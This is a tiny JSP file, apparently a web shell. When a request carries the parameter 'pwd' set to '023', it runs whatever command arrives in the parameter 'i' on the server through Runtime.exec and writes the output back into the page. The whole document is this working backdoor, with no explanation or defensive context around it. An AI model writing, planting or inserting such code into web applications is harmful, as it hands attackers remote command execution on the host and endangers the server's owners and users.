<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("

");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("

"); } %>